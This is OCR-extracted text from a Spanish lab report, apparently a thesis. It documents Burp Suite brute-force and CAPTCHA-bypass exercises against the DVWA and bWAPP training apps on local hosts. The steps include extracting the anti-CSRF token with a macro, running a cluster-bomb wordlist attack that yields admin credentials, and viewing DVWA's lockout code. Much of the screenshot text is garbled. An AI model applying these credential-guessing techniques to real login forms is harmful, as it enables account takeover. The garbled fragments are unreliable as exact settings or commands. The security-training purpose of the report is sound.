1% Sec-Fetch-Dest: document -
Request Headl T v
14 Referer: http://127.0.0. 1/security. php equest Headers u
15 Accept-Encoding: gzip, deflate
16 Accept-Language: en-US, en; 0.9
17 Cookie pavy 71; security=hich
18 Connection: close

45. En la opcidn de sessions establece una regla para hallar el toke _user

Imagen 103: Interseccion de BurpSuite

Archivo

Y

Burp  Project Intruder Repester Window  Hel
Dashbosrd  Target e Session handling rule editor
B s we s Sessons Detalls  Scope

Maquina Ver Entrada Ayuda

il POl
4

Dispositivos

(® Session Handling Rules

({\.\ You can define session handling rules to make Bury
O
checking sessian validity. Beforeeach request i iss

To moniter or troubleshoot the behavior of your sd

Open sessians tracer

Burp maintains <ookie jr that stores all ofthe ca
automatically updates the cookie jar based on traffij

LN O]

Monitor the fallowing taols'traffc to update the cg

Proxy Scanner Repeater
Intruder Sequencer |_| Extender
Open cookiejar

T,

(® Rule Description

Rulel

»
i Enabled
Edit Use-coakies from Bf
Remove R
() Rule Actions
Duplicate
The actions belowwill be performed in sequencewhen this ruleis applied to a request
up
own Add Enabled Description

Use cookies from the session handling coakie jar
Setaspecific cookieor parameter value

Check session i valid

Prompt for in-browser session recovery

Run amacro

Run 2 post-request macra

Invakea Burp extension

Setaspeciic headervalue

ok

Cancel

ing session cookies, logging in to the application, or

use the settings below to control haw Burp

Imagen 104: Crear una reglar
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46. Seleccionar la direccion

Archivo  Maquina Vi Entrada Dispositivos Ayuda

i | I

Macro Recorder - Macro 6
Burp  Project Intruder Repeater Windoy

Dashboard cro Recorder

Connections

Select the tems from the proxy history that you wish to include n the macro, and click "OK". Notethat ta record 3 macro now using your | intercept i off
® ontl] @ Macre Editor browser you will need ta ensure that proxy interception is turned off
You can def h o test the macro ta pplication, or
checking sed confirmit i working ‘ Fiter: Hiding C55, image and general binary content ‘@
add 4 Host Methad URL Params  Edited  Status  Length MIMEtype Extension
Macro description:
o 2 hitph27.001 GET  ivulnerabilitiesfbrute] 00 4702 HTML
L Macro items:
Remove|
* Configureitem
Duplicat;
Moveup
up
Do Movedown
Remave item
Tomanitor
opene] Request | Rd D
n = " T I § X
1 Request | [IReSpanse Inspector Dbz - &
o3 Rew  Hex enrs= Request Attributes 2 v
@ Cookica 1 GET /vulnersbilities/brute/ HTTR/L.1
2 Host: 127.0.0.1
5y Burp mainta) c 2 Buy
& 3 Cache-Control: max-ages0 Request Cookies 2 v L
4 sec-ch-ua: "Chromiun';v="107", *Not=A7Brand";v="24"
5 sec-ch-ua-mebile: 70 - Recard macro
Monitor thel e miatfare ML Request Headers mov
7 Upgrade-TInsecure-Requests: 1
Proxy & User-Agent: Mozilla/5.0 (Windows NT 10.0; WinGé; x64) Respanse Headers . v
@ (Z} &« AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107
Intrudel = Safari/s37. 36
9 Accept:
text /htnl, pplicstion/xhtnlunl, spplication/xnl; ee0. 9, inage/avif
Open car 23 £p T 9 ok Cancel
@ |€][3) [ O matches
G

Imagen 105: Marco Recorde de la peticidn get de la direccién

47. Seleccionar el user_token

Archivo Maguina Ver Enfrada Disposives Ayuda

G R X IaME

Define Custom Parameter

Burp  Project Intruder Repeater Window

Dashboard Define m Param

Connections Configure the details of thecustom parameter location. You need to specify the name that is used for this parameter in subsequent
. macro requests, and the location within this resp hich the p hould be derived.
o) onHf (@ MacroEditor
You can defi Usethe canfiguration belawto d Parameter name: | user_token bn. vou can alsotest the macra to pplication, or
# checking sed canfirm it is working correctly.
Extracted valueis URL-encaded
i Macro description: | Macro &
Edit h @ Define the lacation of the parameter value. Selecting the item in the response panel will createa suitabl B
Macro items: You can also madify the configuration manually to ensureit works effectively.
Remove . | -
# Host Define start and end Extract from regex group Configureitem
Duplct 1 hitp:/f127.001
P Maveu
U Q) start after expression: | value=’ r
Down Start at offset: Mave dawn
Remaveitem
i Q Endat delimiter <lform |
Tomonitor; 1 1
End at fixed length: e
opensed Request | Response
Raw  Hex
11GET /valnerabilitiesi Exclude HTTP headers [T Update config based on selection below Refetch response
® ¢ Ja 2 Host: 127.0.0.1
3 Cache-Control: max-ag 7 Usernane: <br />
{g Berpmanty 4 sec-ch-ua: "Chromium" 79 Zinput type"text’ name="usernanes<br /> Burp
automaticall 5 sec-ch-us-mobile: 70 20 Password: <br />
& sec-ch-ua-platform: 8l <input type="password” AUTOCOMPLETE="off" name="password"><br />
Monitor the 7 Upgrade-Insecure-Recu 82 <br /> Re-record macra
2 User-Agent: Mozilla/s, 83 <input type="submit® value="Login" name="Login">
- Geckol Chrome/107.0. 54 84 <input type='hidden’ name=‘user_token' values '993fedf3235742026dd6b2d7921 717" /> Re-analyze macro
85 </farms
© €[> o
Intrude] @ et | 86 Test macro
87 <fdivs
88
Open cai 89 <hzsMore Information</h2> oK Cancel
@& €|[2]  token Tmatch
(3) Macros |1 oK Cancel rl

Imagen 106: Token_user hallado
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48. Seleccionar el marco creado

Archivo

)

Méquina Ver Entrada

o B X Jane

Dispositivos ~ Ayuda

Burp Project Intruder Repester Window Hel
Dsshbosrd  Target  Proy  Intruder
Connections ~~ HTTP TIS  Sessions

(@ Session Handling Rules
@

You can define session handling rules to make Bur
checing session validty. Before each request s iss

cutd Enabled
Edit

Remave

Use cookies from BY

Duplicate
up

Down

Tamonitor or troubleshoot the behavior of your sg

Open sessions tracer

Burp maintains 2 cookiejar that stores allofthe col
automaticallyupdates the caokie ar based on traffy

& e

Moritar the following tools trsfic ta update the.cg

Proxy Scanner Repeater
Intruder Sequencer |_| Extender
Open cookiejer

@ ‘This action runs 2 predefined macro (sequence of requests} and optionally updates parameters and cookies in the current request based an the
result of the macro.

Select macro
Add Macro1
Macro4
Edit Macro 6

MNote that the request currently being processed by this session handling rulewill still be issued, so the macro should not include this request
unless itis necessary ta issueit twice.

Update current request with parameters matched from final macra response
Q) updateall parameters except for:
Edit
Update anly the following parameters:
Edit

Tolerate URL mismatch when matching parameters (use for URL-agnostic CRSF tokens)

Update current request with coakies from session handling coakie jar

© Updatesll cookies except for:

Edit

oK Cancel

ling session cookies, logging in to the application, or

Juse the settings below to contral how Burp

Imagen 107: Marco creado

49. Configurar el Scope

Maquina Ver Entrada Ayuda

iEPe

Dispositivos

Intruder Window

Burp

Project Repeater

Dashboard  Target  Proxy

Connections

HTTP

(® Session Handling Rules
@

TIS Sessions

You can define session handling rules to make Burg
checking session validity. Before each request is s

Add

Enabled
Edit Use cookes from B4
Remave
Duplicate
Up
Down

Tomonitor or troubleshoot the behavior of your s

Open sessians tracer

(® Cookie Jar

Burp maintains acookie jar that stores all of theco
automaticallyupdates the cookie jar based an traffi

Monitar the following tools' traffic to update the cc

Proxy

Intruder

Scanner Repester

Sequencer Extender

Open cookiejar

Details

Ohs

Select the toals that this rule will beapplied ta

Scope

ape
Target Scanner
Intruder

Proxy {use with caution)

Repeater

Sequencer Extender

(3) URLScape

Use the configuration below to control which URLs this rule applies to.

Includeall URLs
() Usesuitescape [defined in Target tab]

Use custom scope

(3) Parameter

You can restrict the rule to requests containing specific parameters if required

Restrict to requests containing these parameters:

Hel
Intruder Session handling rule editor

ing session cookies, logging in to the application, or

use the settings below to control how Burp

Cancel

Imagen 108: Configuracion Scope
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50. Establecido la regla

Archivo  Méquina Entrada Dispositives  Ayuda

B mEmPari |H % 0 g

Burp Suite Community Edition v2022.9.6 - Temporary Project

Burp Project Intruder Repeater Window Help

Dashboard  Target Provy Intruder  Repester

Connections HITP TS Sessions Misc

®
©

Sequencer  Decoder  Comparer  logger  Extender

Project aptions Useroptions Learn

>n Handling Rules

You can define session handling rules to make Burp perform specific actions when making KTTP requests. Each rule has 2 defined scope (for particular taols, URLS or parameters}, and can perform actions such as adding session caokies, lagging in to the application, or
checking session validity. Befare each request s issued, Burp applies in sequence each of the rules that arein-scope for the request

Add

Enabled Description Taals
Edit V| Use cookies from Burp's cookie jar Scanner
G ruer Intruder
Remove
Duplicate »
up
Down
To maritor or the behavior of your session handling rules, you can use th tracerto view in detailthe results of processing each rule.

Open sessians tracer

(6 Burp maintains  cooliejarthatstores all f thecooties ssued by vsted websites Sesson handling rules can use and p kies to maintain valid sessions with app that are being tested. You can use the settings below to control how Burp
# automatically updates the cooke ar based on traffic from particular tools.

Manitor gtools'traffic to up

Praxy Scanner Repeater

Intruder Sequencer || Extender

Open cookiejar

Imagen 109: Regla establecida

51. Se cierra la intercepcion

Archivo Maquina Ver Entrada Dispositivos Ayuda

B omPo| 2

09 o

Burp Suite Community Edition v2022.9.6 - Temporary Project

Burp Project Intruder Repeater Window  Help
Dashboard Target Praxy Intruder  Repeater  Sequencer Decader  Comparer Logger Extender  Project aptians User aptions Learn
G Intercept HTTPhistory  WebSackets histary Options

Intereept is aff Open Browser

Intercept is off

When enabled, requests sent by Burp's browser are held here so
that you can analyze and madify them befare forwarding them
10 thetarget server.

Imagen 110: Cerrar la intercepcion
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52. Se realiza el ingreso de credenciales aleatorios para poder interceptar la peticion.

Archivo Maquina Ver Entrada Dispositivos Ayuda

S omPoOr|1 23 4]

@ Vulnerability: Brute Force x | +

< c

s Vulnerability: Brute Force

Instructions LOgin
Setup | Reset DB

Username:

‘ contrasena

e e Password:
Command Injection | g

CSRF |

FlleUpload | More Information
Sotimeeton |
xsspow |

XSS (Reflected) |
xss(soe

CSP Bypass

| Login |

Imagen 111: Ingresar credenciales de prueba

53. Se realiza la intercepcion de peticion del sitio, luego dar clic en la opcion HTTPhistory
para seleccionar la direccién del login y realizar el envio al intruder para el analisis de
los payloads

Archivo M3quina Ver Entrada Digy Ayuda

Hemkor

4

Burp Project Intruder  Repeater  Window  Help

Dashboard Intruder  Repeater  Sequencer Decoder  Comparer Lagger Extender  Project aptions User aptions Learn
(_ HTTP history WebSockets history Options
| Filter: Hiding €55, image and general binary content ‘ ®
# Host Method URL Params  Edited Ststus Length MIMEtype Extension Title Comment  TIS P Cookies Time  Lister|
2 hitp:f127.0.01 GET  ulnersbilities/brute/ 200 470z HTML Wulnerability: Brute For 127.0.04 01:33:06 4. 8080
3 hitp7.001 GET  jvulnerabilitiesfbrute/usemame=co J 127.0.01 OL4Z054 Ja.. BORD
Proxy history logging
@ ‘fou have added an item to Target scope. Do you want Burp Proxy to stop
ding out-of-scop to the hi ther Burp toals?
Answering "yes" will avoid accumulating project data for out-of-scopeitems .
Rege Inspector w0 = & X
Raw  Hex Always take the same action in future: Yes No 8= Request Attrbutes :
1 GET /wulrerabilities/brute/?usernam n

2 Host: 127.0.0.1
2 ssc-cheus: "Chromium’;v="107", "Not=A7Brand";v="24"
4 sec-ch-ua-mebile: ?0

5 sec-cheus-platforn: "Linux" - -
& Upgrade-Insecure-Requasts: 1 s > v
7 User-Agent: Mozilla/5.0 (Windows NT 10,0, WinG4; x64) AppleNebKit/S37.36 (KHTHL, like Gecko) Chrone/L07.0.5384.107 Safari/S37.38

5 Accept: text/htnl, spplication/xhtnl +anl , sppLicat ion/xul; =09, inage/avif, inag/webp, inage/apna, * /% g0, 8, appl icat ion/signed-sxchangs; v=b3; 0.9 Request Headers 6 v
9 Sec-Fatch-Sits: sane-orisin

10 Sec-Fetch-Mede: navigate

11 Sec-Fatch-User: 71

12 Sec-Fatch-Dast: document

13 Referer: http: //127.0.0. 1/vulnerabilities/brute/

4 Accept-Encoding: geip, deflate

15 Accept-Language: =n-US, =n; =0, 3

16 Cookie: PHPSESSID=toméngeqSl7spsvpkeadud27l; security=high
17 Connection: closs

Request Query Parameters 4 v

Imagen 112: Enviar peticién a intruder
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54. Se observa las credenciales correspondientes para el ataque, se limpia los payloads
predeterminado y se agrega solo para usuario y contrasefia.

Archivo  Maquina Ver Entrads Dispositivos Ayuda

BEEPOL|1 23 +|H 07

Burp Suite Community Edition ¥2022.9.6 - Temporary Project

Burp Project Intruder Repester Window  Help

Dashboard  Target Intruder  Repeater  Sequencer  Decoder  Comparer  logger  Extender  Projectoptions  Useroptions Learn

Pasitions Payloads Resource Pool Options

Attacktype:| Sniper

Configure the positions where payloads will be inserted, they can be added into the target as well as the base request.

Target: | hitp/27.0.00 Update Host headerta match target

GET /wulnerabilities/brute/?u nt amundo 6L ogire§L -t Af 33! 79217e1f 78 HTTR/L.1 it
uto

Host: 127.0.0.1
sac-ch-ua: "Chromium"; v="107", "Not=A7Brand";v="24"

sec-ch-ua-nobile: 70 Refresh
sec-ch-ua-platform: "Linux"

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/s.0 (Wincows NT 10.0; Win4; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107 Safari/537.36

hecept: text/html, application/xhtnl+xnl, application/xml; 0. 9, image/avif, inage/webp, image/apng, */*; o=0. 8, applicat ion/signed-exchangs; v=b3; F0. 9
9 Sec-Fetch-Site: same-origin

10 Sec-Fetch-Mode: navigate

11 Sec-Fetch-User: 71

12 Sec-Fetch-Dest: document

1% Referer: http://127 0.0 1/vulnerabilities/brute/

14 Accept-Encoding: gzip, deflate

15 Accept-Language: en-US, en;cF0. 9

16 Cookie: PHPSESSID=GtommemgeqSl7Sp3vpkGadud27ls; security=Ghight

17 Cormection: close

Ae W

@

19
I IGIERE Dmatches Clear

6 payload positions Length: 874

Imagen 113: Seleccionar los payloads

55. Una vez seleccionado los paykloads se desarrolla el cambio de ataque por cluster boom,
en donde permite iterar a través de un conjunto de carga til diferentes por la posicion
definida

Archivo  Maquna Ver Entrada Disposivos Ayuda

: .
SEmEkoi] - 3 4 |0 %0 g
4 Burp Suite Community Edition v2022.9.6 - Temporary Project

Burp  Project Intruder Repester Window  Help
Dashboard  Target Intruder  Repester  Sequencer  Decoder  Comparer  logger  Extender  Projectoptions  Useroptions Learn
1% 2x

Positions Payloads Resource Poal Options

Attack type: | Sniper

Payload Positions
Configure the positions where payloads will be inserted, they can be added into the target as well as the base request.

Add &

Target: | hitpyH27.0.01 Update Host headerto match target
Clear§

GET /vulnerabiliti brute, it Lamundo§ &LogireLoai 172175 HTTP/1.1 Autas
2 Hest: 127.0.0.1
2 sec-ch-ua: "Chromium"; ="107", "Not=A?Brand";v="24"
sec-ch-ua-nobile: 70 Refresh
5 sac-ch-ua-platform: "Linux*
Upgrade-Insecure-Requests: 1
7 User-Agent: Mozilla/s.0 (Windows NT 10.0; Win€4; xG4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107 Safari/537.36
Accept: text/html,application/xhtnl+xnl,application/xnl;¢=8. 9, inage/avif, inage/webp, inage/apng, */*; =0. 8, appl icat ion/signed-exchange; wb3; 0.9
Sec-Fetch-Site: same-origin
0 Sec-Fetch-Mode: mavigate
Sec-Fetch-User: 71
2 Sec-Fetch-Dest: document
2 Referer: http://127.0.0. 1/vulnerabilities/brute/
Aecept -Encoding: gzip, deflate
5 Accept-Language: en-US, en;cF0.9
Cookie: p3vpl 715; irity=5highg
7 Comnection: closs

@@ €3] [ Bmatches

Length: 874

& payload positions

Imagen 114: Ataque por cluser bom
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56. En la parte options de configuracion de ataque, se selecciona la carga util con su
respectivo diccionario para el payload usuario.

Archivo Maquina Ver Entrada

B eEpko|1 23 ¢ A nla e

PR W‘"dn_
Dashboard Target Intr]

Tx 2x 4 Lagkln kali v M OA r,..E Q
Positons  Payloads Resource Pool
. Dﬁsklcp
You can define one or more paylaad sets. T Dawnloads in different ways
Music
Payload set: | 1 Pictures
Paylaad type: | Runtimefile Public
Templates
Videas
o P ons [Runtime file] ezt
This paylaad typelets you canfigurea filefi
Select fle...
@ Payload Processing
You can define rules to perform various pro
Add Enabled
Edit
Remave
Up
Down
File Name: user.txt
Files of Type: | All Files v
@ Payload Encoding | Open || Cancel
This setting can be used to URL-encodk

Imagen 115: Seleccionar diccionario user.txt

57. De mismo modo se da la seleccion de la carga atil de la seccion definida para la
contrasefa.

a 150 | @& &

09 ¢
Burp Suite Community Edition ¥2022.9.6 - Temporary Project

Burp Project Intruder Repester Window  Help
Dashboard Target Intruder Repeater Sequencer Decoder Comparer Logger Extender Project options User options Learn

€ 1= 2= + Q i
Pasitions Payloads Resource Pool Options

You can define one or more payload sets. The number of payload sets depends on the attack type defined in tab. Various payload each payload set, and each payload type can be customized in different ways.

Payload set: | 2 ~ | Payload count: 14(approx)

Payload type: | Runtime file ~|  Requestcount: 0

s [Runtime file]

This paylaad type lets you confiqure a file from which to read payload strings at runtime,

Select file Jhome/kaliDownloads/contrasenas. bet

(3 Payload Processing

au can define rules to perform various processing tasks on each payload beforeit i used.

Add Rule
Edit

Remove
up

Down

(3) Payload Encoding
b etic o bl o U oodclecad chonco it e oo ood e oo e

Imagen 116: Seleccionar diccionario contrasefia.txt
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58. Se realiza pequefias configuraciones para asimilar méas la ejecucion del ataque como
agregando el mensaje de error cuando las credenciales son incorrectas y asi mismo
ejercer el marcado si la contrasefia no es la correcta.

Archivo Maquina Ver Entrada Dispositives Ayuda

BEEPO" 23 +|Hp07

4 Burp Suite Community Edition v2022.9.6 - Temporary Project

Burp  Project Intruder Repester Window  Help

Dashboard Target Intruder Repeater Sequencer Decoder Comparer Logger Extender Project options User options Learn
€ 1x  1x Q
Positions Payloads Resource Paol Options

® Attack Results
O ‘These settings control what information is captured in attack results.
Storerequests
Storeresponses
Make unmodified baselne request
Use denial-of-service made (o results)

Storeful payloads

@ Grep - Match

O These settings can be used ta flag result items cantaining specified expressians.

Flag result items with respanses matching these expressions:

Paste incorrect

Load
Remove

Clear L
Add incorrect

Match type: oS\mpleslrir\g

Regex

Imagen 117 Configuracion para el ataque

59. Comienza la busqueda del usuario y contrasefia mediante el ataque.

Archivo Maquina Ver Enfrada D

EmEPkoFl| 23 4| bl GhE o

4 9. Intruder attack of http://127.0.0.1 - Temporary attack - Not saved to project file

Attack  Save  Columns

Results Postions  Paylosds ResourcePool  Optians

Filter: Showing allitems ‘ @
Request Paylozd 1 Payload 2 Status  Emor Timeout length incorrect Plgrep P2grep Comment
0 200 4754 1

1 raot password 302 00

2 admin password 302

3 12345 password 302

4 user password 302

s administrador password 302

6 ADMINISTRADOR password 302

7 usuariol password 200 7 1
8 usuario2 password 200 1 1
a user! password 302

10 user2 password 302

bl 123456 password 302

2 daeman password 200 3 1
12 sys password 200 1 1 1
14 bee password 200 1 1
15 bug password 302

16 games password 302

” raot Augustl 302

18 admin Augustl 302

1 12345 August] 302

20 user August] 302

2 administrador August] 302

2 ADMINISTRADOR August] 302

B usuariol Augustt 200 i

2 usuario2 Augustt 302

= user! Augustl 302

Imagen 118: Resultado del ataque
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60. Se ingresa las credenciales de usuario al login.

Archivo Maquina Ver Entrada Dispositivos Ayuda

BERPO |23 4[Bhe

raw.githubusercontent.com/ X  gist.githubusercontent.co

(s X @ O D 127.0.01

ility: Brute Force X +

Kali Linux § Kali Tools ¢ KaliDocs N Kali Forums e Kali NetHunter % Exploit-DB % Google Hacking DB

Home

Instructions

Setup  Reset DB |

Command Injection
CSRF
File Inclusion |

File Upload \

Insecure CAPTCHA

SQL Injection

SQL Injection (Blind) |
Weak Session IDs \
XSS (DOM)

XSS (Reflected)

XS5 (Stored) \

o)

Vulnerability: Brute Force

Login

Username:

Password

| Login

More Information

|

e e

Imagen 119: Ingreso de credenciales

61. Inicio de sesién exitosa.

Archivo Maquina  Ver Entrada s Ayuda
B empkor-| 2

gist.github

O D 127

ilities/brute/?username=admin&password= vor

@ Vulnerability: Brute Force x

KaliLinux # KaliTools * KaliDocs N Kali Forums e Kali NetHunter % Exploit-DB % Google Hacking DB [l OffSec

o)

Vulnerability: Brute Force

Home
Instructions
Setup | Reset DB

Bucroce |
Command Injection

CSRF

File Inclusion

File Upload

Insecure CAPTCHA

SQL Injection

SQL Injection (Blind) |

Login
Username:

Password,

Login

Welcome to the password protected area admin

.Y

u

Weak Session IDs
XSS (DOM)

XSS (Reflected)
XSS (Stored)

More Information

Imagen 120: Login exitoso
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Escenario #12: Ataque de fuerza bruta en Formulario Login Web

Objetivo: adivinar y robar las credenciales de usuario administrador
Complejidad: Imposible
Tiempo: no se logro hallar resultado

62. Dar clic en el panel la opciéon “DVWA Security” para cambiar el nivel de seguridad a
imposible.

gist.githubusercontent.com/ x & DVWA Security:

QD2

KaliLinux 8 KaliTools = KaliDocs ¥ Kali Forums X Kali NetHunter % Exploit-DB * Google Hacking DB

o)

jwome | DVWA Security
Instructions
Setup/ResetdB | Security Level

Security level is currently: impossible.
Brute Force

You can set the security level to low, medium, high or impossible. The security level changes the vulnerability
Command Injection level of DVWA:
CSRF 1. Low - This security level is completely vulnerable and has no security measures at all. It's use is to be

as an example of how web application vulnerabilities manifest through bad coding practices and to serve
File Inclusion

as a platform to teach or learn basic exploitation technigues
File Upload Medium - This setling is mainly to give an example to the user of bad security practices, where the
developer has fried but failed to secure an application. It also acts as a challenge to users to refine their
Insecure CAPTCHA exploitation techniques.
High - This option is an extension to the medium difficulty, with a mixture of harder or alternative bad
SQL Injection practices io attempt to secure the code. The vulnerability may not allow the same extent of the
SQL Injection (Blind) | exploitation, similar in various Capture The Flags (CTFs) competitions.

4 - This level should be secure against all vulnerabilities. It is used to compare the vulnerable

Weak Session IDs saurce code to the secure source code.
Prior to DVWA v1.9, this level was known as 'high’.
XSS (DOM)
XSS (Reflected) Impossible v || Submit
XSS (Stored)

__________ | PR N1
__

o

w

Imagen 121: Configuracion de seguridad — nivel imposible — Brute Force

63. Dar clic en el panel la opcion “BRUCE FORCE”.

©J Vulnerability: Brute Force :: Dam: X =+

< C O O i

= Vulnerability: Brute Force
Instructions Login
Setup / Reset DB

Username:

[ruteForce | Passwora

Command Injection |

fesee | ey

File Inclusion

IEneiU oo | More Information
Insecure CAPTCHA

SQL Injection

Weak Session IDs
XSS (DOM)

XSS (Reflected)
XSS (Stored)

CSP Bypass

JavaScript

DVWA Security
PHP Info
About

Logout

Imagen 122: Login — Nivel Imposible

135



64. En el codigo fuente del nivel imposible se observa como el desarrollador ha agregado
una funcion de blogueo donde si hay cinco inicios de sesion incorrectas dentro de los
ultimos 15 minutos, el usuario sera bloqueado y no podra iniciar sesion

Archivo  Maquina Ver Entrada Dispositivos

’Q . = ! u‘EV‘ oS .'é o T .| O

Damn Vulnerable Web Application (DVWA) v1.10 *Development*Source :: Damn Vulnerable Web Application (DVWA) v1.10 *Development*® — Mozilla Firefox

Brute Force Source

vulnerabilities/brute/sourcelimpossible.php

<?php
if( isset( $ POSTI 'Login' 1 ) && isset ($ POST['username']) && isset (% _POSTI'password'l) ) {

checkToken( $ REQUEST[ 'user token' 1, $ SESSION[ 'session token' I, 'index.php' );

$user = §_POST[ 'username’ ];

$user = stripslashes( suser );

$user = ((isset($GLOBALS["__ mysqli_ston"]) && is_object($GLOBALS[" _ mysqli_ston"])) 7 mysqli_real _escape_string($GLOBALS["__ mysqli_ston"], $user ) : ((trigger_err
[MySQLConverterToo]l Fix the mysql escape string() call! This code does not work.", E USER ERROR)) ? "" : "")};

$pass = $ POST[ 'password' 1;

$pass = stripslashes( spass );

$pass = ((isset($GLOBALS[" mysqli ston"]) & is object($GLOBALS[" mysqli ston"])) ? mysqli real escape string($GLOBALS[" mysqli ston"], $pass ) : ((trigger err
[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) 7 "" : ""});

$pass = md5( $pass );

$total_failed login = 3;
$lockout_time 15;
$account_locked false;

$data = $db->prepare( 'SELECT failed login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
$data-=bindParam( ':user', $user, PDO::PARAM STR );
$data->execute();

Imagen 123: Codigo fuente — Nivel imposible — Brute Force

65. Muestra del mensaje del desarrollador sobre sesion incorrecta

Archivo  Méquina Entrada

il b

content.com/ X | €3 Vulnerability: Brute Force X

O DO 127001

Kali Linux g Kali Tools ® KaliDocs N Kali Forums ¢ Kali NetHunter % Exploit-DB % Google Hacking DB I OffSec

ow)

Home Vulnerability: Brute Force

Instructions LOQ in
Setup I Reset DB
Username:

CommandInjection | [ |
CSRF r—
é | Login |

File Inclusion
% Username and/or password incorrect.

M Alternative, the account has been locked because of too many failed logins.
SQL Injection If this is the case, please try again in 15 minutes.

SQL Injection (Blind)
Weak Session IDs More Information
XSS (DOM)

XSS (Reflected) .

XSS (Stored) '

Imagen 124: Mensaje de error de hackeo - Brute Force
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ESCENARIOS M.V BEE-BOX (BWAPP)
PRUEBA CAPTCHA BYPASSING

23. Inicio de sesion a la plataforma de la Maquina Virtual BEE-BOX(BWAPP)

Archivo Maquina Ver Entrada Dispositivos Ayuda

A EmEaPO-|1 2 3 2| = MR R

¢ bWAPP - Login X +

< c o O & 192168112

Kali Llnux # Kali Tools ¢ Kali Docs '\ Kali Forums X Kali NetHunter Exploit-DB Google Hacking DB OffSec

Talks & Training

N,

/ Logn / oy 0
MISSING &

Enter your credentials (bee/bug) )
C HIL D R E N

Login

‘ with
Password (‘
H nel
Web Security
Set the security level Scanner
B et ey

[low v Security Audits & Training

COSAEC

Login

Imagen 125: Portal BWAPP

Escenario #13: Falla de autentificacion — Formulario Login Web con Omision de
Captcha mediante carga util por lista simple

Objetivo: Adivinar y robar las credenciales del administrador y dar acceso
Complejidad: Bajo

Tiempo: 40 minutos

24. En el menu dar click en la opcion Set Scurity Level y colocar el nivel de seguridad

®E bWAPP - Broken Authentication X aF
d C Q AN ) 192.168.1.11
& C] Choose your bug:
€ R
S | DWAPP v2.2 | [ Hack |

Set your security level:

[low  v|[set| Current low

ahn ex+remely buaﬂy web opp !

Bugs Change Password Create User Set Security Level Reset Credits B|°3 Logout

/ Broken Auth - CAPTCHA Bypa%inﬁ 7

Enter your credentials (bee/bug)

Login
[

Password

Oea

€ [Reload |
gy el
Re-enter CAPTCHA

Imagen 126: Captcha Bypasssing — nivel de seguridad bajo
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25. Dar clic en choose your bug y seleccionar “Broken Auth —Captcha Bypassing”.

R bWAPP - Broken Authentication X

& 5 C A 192.168.1.12

| DWAPP v2.2 v| [ Hack |

Set your 9ecur‘rh/ level:
[low  v||set| Current: low

an ex‘rremely lou%y web opp |

Bugs Change Password Create User Set Security Level Reset Credits

/ Broken Auth - CAPTCHA Bypa%inﬁ / &

Enter your credentials (bee/bug)

Login

] 5]

[bee

Password

C

\ [ Reload |
<

Re-enter CAPTCHA
h@Swo'|

[ Login |

bWAPP is licensed under © 2014 MME BVBA / Follow

on Twitter and ask For aur cheat sheet, contaning al solutions! / Need an excl

Imagen 127: Inserta credenciales de prueba y el capucha por defecto

26. Utilizar la herramienta Burp Suite e interceptar la peticion del entorno para conocer los
payloads involucrados.

BWAPP - Broken Authentication X + : Burp Project Intruder Repeater Window Help  Burp Suite CommunityEditionvz02., — O X
) - Dashboard Target Prox Intruder Repeater Sequencer Decoder {0} Settings
(2 X A Noesseguro | 192168.1.12/bWA d
Comparer  logger  Extensions  Leamn
| bWAPP v2.2 v *| intercept  HTTPhistory  WebSockets history  Options

25 Request to hitpy/192.168.1.1280

Set your security level:
) Y Forward Drop Adion OpenB.. || W wen (9

an eer%‘é”f”Wéla app! e S R

1 DOST /bWAPP/ba_captcha_bypass.php HTTD/L.1
[ [Fosc: 182.166.1.12 Request Attributes 2 v
3 Convent-Length: 56
4 Cache-Control: max-age=0
5 Upgrade-Insecure-Requests: 1 Request Query Parameters 0 v
€ Origin: http://192.168.1.17
Content-Type: application/x-wm-form-urlencoded
© User-Agent: Mozilla/5.0 (Windews NT 10.0; Winéd; Request Body Parameters 4 &2
%64) AppleWebKit/537.35 (KHTML, like Gecko)
Chrome/108.0.5355.125 Safari/537.36

/ Broken Auth - CAPTCHA E’YP TN S

5, inage/avif, inage/webp, inage/apny,*/*;q=0_8,applica | RequestHeaders 3 v
tion/signed-exchange ;v=h3;q=0.9

Bugs  Change Password  Create User  Set Security Level

b 10 Referer:
Entesjyouaetentals (beetual http://192. 168. L. 12/bWAPP/ba_captcha bypass. php

11 hecept-Bncoding: gmip, deflate
Login 12 Accept-Language: es-ES,es;q=0. 9

13 Cookie: PHPSESSID=9edede93a58931cahsadIthdlablhThd;
security level=n

14 Connection: close
Password 15

\:I 1¢ login=beeipassword=bugieapteha_usershi405wolsforn=
submit

e St

Re-enter CAPTCHA:

h@Swol

[ Login |

Imagen 128: Capturar la peticion con la herramienta BurpSuite — Captcha Bypassing
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27. Enviar la captura de la intercepcon a intrude para identiciar los payloads a explotar.

Burp Project Intruder Repester Window  Help Burp Suite Community Edition v2022.12.5 - Temporary Project - X
Dashboard  Target Intruder  Repeater  Sequencer  Decoder  Comparer  logger  Extensions  Leam {5} Settings
HTTPhistory  WebSockets history ~ Options
/7 Request to hitp://192.168.1,12:80
Forward Drap Intercept is on Adtion Open Erowser Comment this ite & | wmen (9)
Raw  Hex = inspector o = - & X
1 POST /bWAPP/ba_captcha bypass.php HTTP/L.1
2 |Host: 152.168.1.12 Request Attributes 2 v
: Content-Length: 5&
4 Cache-Control: max-age=0
% Upgrade-Insecure-Requests: 1 Request Query Parameters 0 v
€ Origin: heep://192.188.1.17 Send to Intruder Ctrl=1
7 Content-Type: application/x-wwu-form-urlencoded
User-Agenc: Mozillass.0 (Windows NT 10.0; Wingd; xéd) hpy  oendtoRepeater CI*R ) Chrome/108.0.5355.125 Safari/537.36 Request Body Parameters 4 v
o hecept: text/hrul,applicavion/shemlixml,applicacion/=ml;c  Sendto Sequencer apng, */*:q=0.8, application/simed-exchange v=b3;q=0.9
10 Referer: 166.1.12/BUWAPR/ba_captcha bypass.php o
11 Accept-Encoding: gzip, deflate Send to Comparer Request Cookies z
12 Accept-Language: es-ES,es.q=0.9 Send to Decoder
13 Cookie: PHPSESSID=9e4s4293a58931cEh5ad3hd0ablbThe; secut Request Headers B3 v
14 Commection: close
:  sercht 05wl Request in browser >
Engagement tools [Pro version only] >
Change request method
Change body encoding
Copy URL
Copy as curl command
Copytofile
Paste from file
Save item
Don't intercept requests >
Do intercept >
URL-encade as you type
Paste Ctrl=v
